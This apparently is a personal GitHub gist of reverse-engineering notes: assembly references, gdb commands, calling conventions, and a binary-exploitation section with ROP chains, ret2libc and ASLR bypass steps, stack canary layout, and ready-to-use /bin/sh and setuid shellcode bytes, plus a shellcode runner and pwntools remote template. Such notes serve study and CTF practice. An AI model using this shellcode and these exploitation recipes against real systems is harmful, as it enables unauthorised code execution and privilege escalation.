Skip to content

Instantly share code, notes, and snippets.

@veeeeeeeeeee
Last active January 15, 2018 03:07
Show Gist options
  • Save veeeeeeeeeee/5d5a637d29ea91ad15cef78e353358c8 to your computer and use it in GitHub Desktop.
Save veeeeeeeeeee/5d5a637d29ea91ad15cef78e353358c8 to your computer and use it in GitHub Desktop.
RE tooltip
instructions
1. basic arithmetic
- and rga, rgb, arg ; rga = rgb & arg
- eor _ ; ^
- sub _ ; -
- rsb _ ; rga = arg - rgb
- add _ ; +
- adc _ ; + + carry
- sbc _ ; - - !carry
- rsc _ ; rga = arg - rgb - !carry
- tst rga, arg ; set flag for rga & arg
- teq _ ; ^
- cmp _ ; -
- cmn _ ; +
- orr rga, rgb, arg ; rga = rgb | arg
- mov rga, arg ; rga = arg
- bic rga, rgb, arg ; rga = rgb & ~arg
- mvn rga, arg ; rga = ~arg
2. condition codes
- eq ; equal Z flag
- ne ; not equal !Z
- cs or hs ; carry set / unsigned higher C
- cc or lo ; carry clear / unsigned lower !C
- mi ; minus / negative N
- pl ; plus / positive !N
- vs ; overflow set V
- vc ; overflow clear !V
- hi ; unsigned higher C && !Z
- ls ; unsigned lower / same !C || Z
- ge ; signed greater than or equal N == V
- lt ; signed less than N != V
- gt ; signed greater than !Z && (N == V)
- le ; signed less than or equal Z || (N != V)
- al or omit; always true
1. mov
- copy data
- syntax:
mov <reg>, <reg>
mov <reg>, <mem>
mov <mem>, <reg>
mov <reg>, <const>
mov <mem>, <const>
- example
mov eax, ebx
mov byte ptr [var], 5
[esi] = value esi pointing at. e.g. esi = 0x004ab1 => [esi] = *0x004ab1
mov [esi], 5 ; Error: operand must have the size specified
mov BYTE PTR [esi], 5 ; store 8-bit value
mov WORD PTR [esi], 5 ; store 16-bit value
mov DWORD PTR [esi], 5 ; store 32-bit value
2. push
- places operand on stack. first decrements esp by 4, then place contents of 32-bit loc into [esp]
- syntax:
push <reg32>
push <mem>
push <con32>
- example:
push eax
push [var]
3. pop
- removes 4-byte data from top of stack. first moves 4 bytes at [esp] into specified register or mem loc, then increments esp by 4.
- syntax:
pop <reg32>
pop <mem>
- example:
pop edi
pop [ebx]
4. lea
- places address specified by 2nd operand into register specified by first operand. used to obtain pointer into a mem region
- syntax
lea <reg32>, <mem>
- example
lea edi, [ebx+4*esi]
lea eax, [var]
lea eax, [val]
5. arithmetic and logic
- calculate and place on the first operand
- syntax
add <reg>, <reg>
add <reg>, <mem>
add <mem>, <reg>
add <reg>, <con>
add <mem>, <con>
sub <reg>, <reg>
sub <reg>, <mem>
sub <mem>, <reg>
sub <reg>, <con>
sub <mem>, <con>
inc <reg>
inc <mem>
dec <reg>
dec <mem>
imul <reg32>, <reg32>
imul <reg32>, <mem>
imul <reg32>, <reg32>, <con>
imul <reg32>, <mem>, <con>
idiv <reg32>
idiv <mem>
and <reg>, <reg>
and <reg>, <mem>
and <mem>, <reg>
and <reg>, <con>
and <mem>, <con>
or <reg>, <reg>
or <reg>, <mem>
or <mem>, <reg>
or <reg>, <con>
or <mem>, <con>
xor <reg> ,<reg>
xor <reg>, <mem>
xor <mem>, <reg>
xor <reg>, <con>
xor <mem>, <con>
not <reg>
not <mem>
neg <reg>
neg <mem>
shl <reg>, <con8>
shl <mem>, <con8>
shl <reg>, <cl>
shl <mem>, <cl>
shr <reg>, <con8>
shr <mem>, <con8>
shr <reg>, <cl>
shr <mem>, <cl>
6. cmp / jmp / j[condition]
- syntax:
cmp <reg>, <reg>
cmp <reg>, <mem>
cmp <mem>, <reg>
cmp <reg>, <con>
jmp <label> ; jump equals
jne <label> ; jump not equals
jz <label> ; jump when last result was zero
jg <label> ; jump greater
jge <label> ; jump greater or equals
jl <label> ; jump less
jle <label> ; jump less or equals
- example:
jmp begin
cmp eax, ebx
jle done
7. Calling convention
[ saved esi ] <- esp
[ saved edi ]
[ local var3 ]
[ local var2 ]
[ local var1 ]
[ saved ebp ] <- ebp
[ ret ] <- [ebp]+4
[ param 1 ] <- [ebp]+8
[ param 2 ] <- [ebp]+12
[ param 3 ] <- [ebp]+16
- caller rules
a. before calling, caller can save contents of registers (caller-saved): eax, ecx, edx.
If caller needs these before subroutine returns, must save onto the stack, so when return can pop them back onto registers
b. to use args, caller push onto stack before the call
params pushed in inverted order
c. call instructions call subroutine
places ret on top of params, eip into the subroutine code
d. when subroutine ret, caller removes params from stack
restore the caller-saved registers eax, ecx, edx by popping them off stack
- callee rules
a. first 2 ins
push ebp
mov ebp, esp
this makes ebp a point of reference for params and local var
b. decrements esp to make space for local var
sub esp, 12
c. save the values of callee-saved registers: ebx, edi, esi
d. when ret, leave return value in eax
restore callee-saved edi, esi by popping them off stack
deallocate local var by: mov esp, ebp
restore caller base pointer by: pop ebp
ret
;; snippets
.486
.MODEL FLAT
.CODE
PUBLIC _myFunc
_myFunc PROC
; subroutine begins
push ebp ;
mov ebp, esp ;
sub esp, 4 ; only 1 4 byte local var
push edi ; function using edi and esi
push esi ; there save them
; body
mov eax, [ebp+8] ; param 1 into eax
mov esi, [ebp+12] ; param 2 into esi
mov edi, [ebp+16] ; param 3 into edi
mov [ebp-4], edi ; move edi (param 3) into local var
add [ebp-4], esi ; add esi (param 2) into local var
add eax, [ebp-4] ; add results into eax (param 1) - final result
; end
pop esi ;
pop edi ;
mov esp, ebp ;
pop ebp ;
ret
_myFunc DROP
END
use -g in compilation
i func : list all functions
disas main : disassemble main
disas [function-name]
break *main+45 : set breakpoint
break *[func]+45
i r : inspect register values
i proc mappings : memory segments addresses
vmmap : similar ^
i $esp : inspect current register value
x/50xg $rsp : inspect last 50 g (double word) from $rsp
x/50xw $esp : inspect last 50 w (single word) from $esp
x/10i *0x0804aaee : inspect 10 instruction from 0x0805aaee
set *(char*) 0x0804f3f5 = 0x90 : set instruction to nop
nexti : next instruction
c : continue to next breakpoint
i b : list breakpoints
delete : delete all breakpoints
delete 0x0804f3f5 : delete breakpoint at memory
p [function-name] : function address
i locals : view local vars
bt : view stack frames
select-frame x : select frame
set environment SHELLS=/bin/sh : set environment var
define hook-stop <enter>
x/64xw 0x804a0000 : run command every hook stop (b points)
x/100s **(char***)&environ : view environment variables
find &system,+9999999,"/bin/sh": find /bin/sh on libc
consistent address between gdb and shell
# env -i sh
$ gdb `pwd`/a.out
(gdb) set exec-wrapper env -u LINES -u COLUMNS
c++ doesn't bring std::string to $eax to compare, instead $eax contains address, point to buffer containing the string
-- or store on the heap
lea -0x110(%rbp),%rax = allocate 0x110 = 272 bytes
memory layout:
[kernel] - cannot write
[stack]
[memory mapping] dl, libc, etc.
[wilderness]
[heap]
[BSS] uninit-ed, e.g. static char *a;
[data] init-ed, e.g. static char *b = 'x';
[text segment] - binary instructions
reliable writable segment
objdump -x a.out | grep bss
readelf -S a.out | grep .bss
readelf -s a.out | grep exec
readelf -s a.out | grep system
objdump -D a.out | grep "__stack_prot" # or anything on .data and .text
reliable read segment = plt
gnu_get_libc_version()
rop:
1. find gadget addresses. Gadgets relevant are:
+ mov %eax, (%ecx) ; ret
+ pop %eax ; ret
+ pop %ecx ; pop $eax ; ret
2. init syscall number gadgets
+ xor %eax, (%eax) ; ret
+ inc %eax ; ret
3. init syscall arguments gadgets
+ pop %ebx ; ret
+ pop %ecx ; pop %ebx ; ret
+ pop %edx ; ret
4. find syscall gadget
+ int 0x80 // x86
+ syscall // x64
5. build rop chain
ROPgadget --binary a.out --memstr "sh"
ROPgadget --binary a.out --only "mov|xor|pop|ret|syscall"
in x64:
xxx -> 0x0000555555554xxx
xxxx -> 0x000055555555xxxx
function call / ret2libc call x86 style: function addr - pop; ret; - arg
rop syscall: pop; ret; - arg - syscall
ret2libc x64 style: pop; ret; - arg - function addr
e.g. ret2plt: pop %reg; pop%reg; ret; arg; arg; function@plt
x86 syscall: %eax - %ebx - %ecx - %edx - %esi - %edi - %ebp
syscall_number: https://syscalls.kernelgrok.com/
x64 syscall: %rax, %rdi, %rsi, %rdx, %rcx, %r8, %r9
syscall_number: https://filippo.io/linux-syscall-table
__dl_make_stack_executable
pop rsi; ret
[stack_prot]
pop rax; ret
0x7
mov qword [rsi], rax; ret
pop rdi; ret
libc_stack_end
dl_make_stack_executable
Shellcode (24 bytes): [nop] + \x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
+ [nop] + [address of buffer - 4 bytes]
(45 bytes) /bin/dash: \xb0\x46\x31\xdb\x31\xc9\xcd\x80\x68\x90\x90\x90\x68\x58\xc1\xe8\x10\xc1\xe8\x08\x50\x68\x2f\x64\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80\xb0\x01\xb3\x01\xcd\x80
x64 setuid + binsh
\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05
; execve(filename, argv, envp)
; execve("/bin//sh", ["/bin/sh"], null)
; rdi = address of binsh on stack
; rsi = address of array on stack
; rdx = null
; terminate array with null = rdx
; rax = execve = 59 ~~ mov al, 0x3b
BITS 64
section .text
global _start
_start:
xor rdx, rdx ; null
push rdx
mov rax, 0x68732f2f6e69622f ; /bin//sh
push rax
mov rdi, rsp ; ptr "/bin//sh"
push rdx
push rdi
mov rsi, rsp ; ptr ptr "/bin//sh"
xor rax, rax
mov al, 0x3b ; execve
syscall
1. ASLR
/proc/sys/kernel/randomize_va_space
0 - aslr disabled
2 - aslr enabled
Defeat aslr by ret2plt, leaking GOT and ret2libc, rop
binary using a plt function, e.g. memset
find write@plt, read@plt
find memset got entry
use write@plt, refer to memset got entry, get memset libc address
calculate offset, get system in libc
overwrite memset got entry with system using read@plt
using read@plt read /bin/sh from stdin and call system
2. Canary
detect:
[...]
mov rax, QWORD PTR fs:0x28 ; generate canary value at fs:0x28, put onto rax
mov QWORD PTR [rbp-0x8], rax ; pointer to canary now on the stack
[...]
mov rdx, QWORD PTR [rbp-0x8] ; load canary (stack) onto rdx
xor rdx, QWORD PTR fs:0x28 ; compare to original value
je 0x75c ; if intact, return
call 0x5c0 <__stack_chk_fail@plt> ; canary is corrupted, call fail
75c leave
ret
stack:
[high addr]
...
[return pointer]
[rbp]
[canary]
[local vars / buffer]
...
[low addr]
# finding offset using metasploit
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x33654132
# aslr:
/proc/sys/kernel/randomize_va_space -- 0 = off, 2 = on
# set environment for a process only:
VAR=$(python -c "print 'myVar'") ./program
# read offset of a libc function
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep memset
# reverse bind a process for remote-exploit
# on server
while : ; do nc -l -p [port-number] < pipe_name | ./a.out > pipe_name ; done
# on client
nc [server-ip] [port-number]
#!/usr/bin/env python
from pwn import *
import struct, sys
p = remote("192.168.56.101", "7755")
p.sendline("ASDF")
print p.recv()
# arm debugging
arm-none-eabi-as test.s -o test.o
arm-none-eabi-ld test.o -o test
#execute
qemu-arm test
#debug
qemu-arm -singlestep -g 1234 test
arm-none-eabi-gdb
(gdb) file test
(gdb) target remote localhost:1234
#shellcode
msfvenom -f python -p linux/x64/exec CMD=/bin/sh --platform linux
#written shellcode
nasm -f elf64 sh.asm -o sh.o
ld -m elf_x86_64 -s -o sh sh.o
for i in $(objdump -d sh |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo
int (*func)();
func = (int (*)()) shellcode;
(int)(*func)();
return 0;
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment